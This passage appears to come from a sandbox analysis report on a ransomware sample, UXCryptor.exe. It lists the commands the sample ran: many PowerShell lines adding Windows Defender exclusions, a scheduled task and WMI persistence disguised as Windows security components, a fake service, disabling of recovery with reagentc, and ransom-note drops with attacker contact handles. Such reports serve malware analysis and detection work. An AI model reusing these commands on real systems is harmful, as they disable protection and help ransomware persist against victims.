  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xltm' -ErrorAction SilentlyContinue"
  2⤵
  PID:1896
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlk' -ErrorAction SilentlyContinue"
  2⤵
  PID:716
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'doc' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2328
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'docx' -ErrorAction SilentlyContinue"
  2⤵
  PID:3784
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'docm' -ErrorAction SilentlyContinue"
  2⤵
  PID:1364
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dot' -ErrorAction SilentlyContinue"
  2⤵
  PID:4840
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dotx' -ErrorAction SilentlyContinue"
  2⤵
  PID:3864
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dotm' -ErrorAction SilentlyContinue"
  2⤵
  PID:3884
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rtf' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:756
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'txt' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:644
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'log' -ErrorAction SilentlyContinue"
  2⤵
  PID:2300
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ini' -ErrorAction SilentlyContinue"
  2⤵
  PID:2996
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'inf' -ErrorAction SilentlyContinue"
  2⤵
  PID:4456
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cfg' -ErrorAction SilentlyContinue"
  2⤵
  PID:2956
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'conf' -ErrorAction SilentlyContinue"
  2⤵
  PID:2248
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'reg' -ErrorAction SilentlyContinue"
  2⤵
  PID:3552
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'sh' -ErrorAction SilentlyContinue"
  2⤵
  PID:2668
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bash' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:688
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'hta' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1732
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pdf' -ErrorAction SilentlyContinue"
  2⤵
  PID:796
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pub' -ErrorAction SilentlyContinue"
  2⤵
  PID:3212
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppt' -ErrorAction SilentlyContinue"
  2⤵
  PID:4692
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pptx' -ErrorAction SilentlyContinue"
  2⤵
  PID:4976
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pptm' -ErrorAction SilentlyContinue"
  2⤵
  PID:2700
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pps' -ErrorAction SilentlyContinue"
  2⤵
  PID:1276
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppsx' -ErrorAction SilentlyContinue"
  2⤵
  PID:4148
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppsm' -ErrorAction SilentlyContinue"
  2⤵
  PID:4152
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pot' -ErrorAction SilentlyContinue"
  2⤵
  PID:2392
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'potx' -ErrorAction SilentlyContinue"
  2⤵
  PID:3660
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'potm' -ErrorAction SilentlyContinue"
  2⤵
  PID:4896
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppa' -ErrorAction SilentlyContinue"
  2⤵
  PID:3752
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ppam' -ErrorAction SilentlyContinue"
  2⤵
  PID:4612
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xps' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3108
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odt' -ErrorAction SilentlyContinue"
  2⤵
  PID:3504
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ods' -ErrorAction SilentlyContinue"
  2⤵
  PID:1720
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odp' -ErrorAction SilentlyContinue"
  2⤵
  PID:4172
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odg' -ErrorAction SilentlyContinue"
  2⤵
  PID:4792
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'odb' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4216
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jpg' -ErrorAction SilentlyContinue"
  2⤵
  PID:2736
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jpeg' -ErrorAction SilentlyContinue"
  2⤵
  PID:4380
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'png' -ErrorAction SilentlyContinue"
  2⤵
  PID:876
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'gif' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4160
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bmp' -ErrorAction SilentlyContinue"
  2⤵
  PID:3972
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'tif' -ErrorAction SilentlyContinue"
  2⤵
  PID:3984
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'tiff' -ErrorAction SilentlyContinue"
  2⤵
  PID:3992
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ico' -ErrorAction SilentlyContinue"
  2⤵
  PID:4224
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cur' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3688
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wmf' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5124
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'emf' -ErrorAction SilentlyContinue"
  2⤵
  PID:5132
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'svg' -ErrorAction SilentlyContinue"
  2⤵
  PID:5140
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'eps' -ErrorAction SilentlyContinue"
  2⤵
  PID:5148
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'psd' -ErrorAction SilentlyContinue"
  2⤵
  PID:5156
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'webp' -ErrorAction SilentlyContinue"
  2⤵
  PID:5164
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mp3' -ErrorAction SilentlyContinue"
  2⤵
  PID:5172
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'm4a' -ErrorAction SilentlyContinue"
  2⤵
  PID:5180
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5180 -s 2348
    3⤵
    - Program crash
    PID:12236
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'aac' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5188
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'flac' -ErrorAction SilentlyContinue"
  2⤵
  PID:5204
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wav' -ErrorAction SilentlyContinue"
  2⤵
  PID:5212
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wma' -ErrorAction SilentlyContinue"
  2⤵
  PID:5220
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ogg' -ErrorAction SilentlyContinue"
  2⤵
  PID:5228
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'opus' -ErrorAction SilentlyContinue"
  2⤵
  PID:5236
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mid' -ErrorAction SilentlyContinue"
  2⤵
  PID:5252
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'midi' -ErrorAction SilentlyContinue"
  2⤵
  PID:5260
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mp4' -ErrorAction SilentlyContinue"
  2⤵
  PID:5268
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'm4v' -ErrorAction SilentlyContinue"
  2⤵
  PID:5284
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mov' -ErrorAction SilentlyContinue"
  2⤵
  PID:5292
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'qt' -ErrorAction SilentlyContinue"
  2⤵
  PID:5300
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'avi' -ErrorAction SilentlyContinue"
  2⤵
  PID:5316
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wmv' -ErrorAction SilentlyContinue"
  2⤵
  PID:5324
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'mkv' -ErrorAction SilentlyContinue"
  2⤵
  PID:5332
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'flv' -ErrorAction SilentlyContinue"
  2⤵
  PID:5340
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'swf' -ErrorAction SilentlyContinue"
  2⤵
  PID:5348
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension '3gp' -ErrorAction SilentlyContinue"
  2⤵
  PID:5356
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'zip' -ErrorAction SilentlyContinue"
  2⤵
  PID:5364
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rar' -ErrorAction SilentlyContinue"
  2⤵
  PID:5372
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension '7z' -ErrorAction SilentlyContinue"
  2⤵
  PID:5380
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'tar' -ErrorAction SilentlyContinue"
  2⤵
  PID:5392
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'gz' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5400
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bz2' -ErrorAction SilentlyContinue"
  2⤵
  PID:5408
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xz' -ErrorAction SilentlyContinue"
  2⤵
  PID:5416
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cab' -ErrorAction SilentlyContinue"
  2⤵
  PID:5424
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'deb' -ErrorAction SilentlyContinue"
  2⤵
  PID:5440
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rpm' -ErrorAction SilentlyContinue"
  2⤵
  PID:5448
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'iso' -ErrorAction SilentlyContinue"
  2⤵
  PID:5456
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'img' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5472
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'apk' -ErrorAction SilentlyContinue"
  2⤵
  PID:5484
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'appx' -ErrorAction SilentlyContinue"
  2⤵
  PID:5492
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ipa' -ErrorAction SilentlyContinue"
  2⤵
  PID:5508
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dmg' -ErrorAction SilentlyContinue"
  2⤵
  PID:5516
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pkg' -ErrorAction SilentlyContinue"
  2⤵
  PID:5524

C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
"C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" /setup
1⤵
- Modifies WinLogon for persistence
- UAC bypass
- Windows security bypass
- Boot or Logon Autostart Execution: Active Setup
- Disables RegEdit via registry modification
- Event Triggered Execution: Image File Execution Options Injection
- Drops startup file
- Windows security modification
- Adds Run key to start application
- Checks whether UAC is enabled
- Modifies WinLogon
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- System policy modification
PID:3452
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:8680
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:8688
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:8696
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:8704
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:8712
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:8720
- C:\Windows\SysWOW64\taskkill.exe
  taskkill.exe /f /im Explorer.exe
  2⤵
  - Kills process with taskkill
  PID:8728
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /create /tn "WindowsDefenderUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" /sc onlogon /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:8736
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="WindowsSecurityFilter", EventNamespace="root\cimv2", Query="SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LogonSession'"
  2⤵
  PID:8744
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="WindowsSecurityConsumer", CommandLineTemplate="C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe"
  2⤵
  PID:8760
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"WindowsSecurityFilter\"", Consumer="CommandLineEventConsumer.Name=\"WindowsSecurityConsumer\""
  2⤵
  PID:8768
- C:\Windows\SysWOW64\sc.exe
  sc create WindowsSecurityService binPath= "C:\Windows\system32\winsecsvc.exe" start= auto DisplayName= "Windows Security Service"
  2⤵
  - Launches sc.exe
  PID:8776
- C:\Windows\SysWOW64\sc.exe
  sc description WindowsSecurityService "Provides Windows security and update management."
  2⤵
  - Launches sc.exe
  PID:8784
- C:\Windows\SysWOW64\sc.exe
  sc start WindowsSecurityService
  2⤵
  - Launches sc.exe
  PID:8792
- C:\Windows\SysWOW64\reagentc.exe
  reagentc.exe /disable
  2⤵
  PID:8800
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8812
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionPath 'E:' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8820
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionPath 'F:' -ErrorAction SilentlyContinue"
  2⤵
  PID:8828
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'exe' -ErrorAction SilentlyContinue"
  2⤵
  PID:8836
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dll' -ErrorAction SilentlyContinue"
  2⤵
  PID:8844
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'msi' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8852
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'sys' -ErrorAction SilentlyContinue"
  2⤵
  PID:8860
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'drv' -ErrorAction SilentlyContinue"
  2⤵
  PID:8868
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ocx' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8876
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cpl' -ErrorAction SilentlyContinue"
  2⤵
  PID:8884
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'scr' -ErrorAction SilentlyContinue"
  2⤵
  PID:8892
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bat' -ErrorAction SilentlyContinue"
  2⤵
  PID:8900
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cmd' -ErrorAction SilentlyContinue"
  2⤵
  PID:8908
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'com' -ErrorAction SilentlyContinue"
  2⤵
  PID:8916
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'vbs' -ErrorAction SilentlyContinue"
  2⤵
  PID:8924
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'vbe' -ErrorAction SilentlyContinue"
  2⤵
  PID:8932
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'js' -ErrorAction SilentlyContinue"
  2⤵
  PID:8940
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jse' -ErrorAction SilentlyContinue"
  2⤵
  PID:8948
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wsf' -ErrorAction SilentlyContinue"
  2⤵
  PID:8956
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wsh' -ErrorAction SilentlyContinue"
  2⤵
  PID:8964
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ps1' -ErrorAction SilentlyContinue"
  2⤵
  PID:8972
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ps2' -ErrorAction SilentlyContinue"
  2⤵
  PID:8980
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'psm1' -ErrorAction SilentlyContinue"
  2⤵
  PID:8988
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'psd1' -ErrorAction SilentlyContinue"
  2⤵
  PID:8996
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jar' -ErrorAction SilentlyContinue"
  2⤵
  PID:9004
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'java' -ErrorAction SilentlyContinue"
  2⤵
  PID:9012
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'class' -ErrorAction SilentlyContinue"
  2⤵
  PID:9020
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'py' -ErrorAction SilentlyContinue"
  2⤵
  PID:9028
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pyw' -ErrorAction SilentlyContinue"
  2⤵
  PID:9036
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pyc' -ErrorAction SilentlyContinue"
  2⤵
  PID:9044
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rb' -ErrorAction SilentlyContinue"
  2⤵
  PID:9052
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rbw' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9060
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pl' -ErrorAction SilentlyContinue"
  2⤵
  PID:9068
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
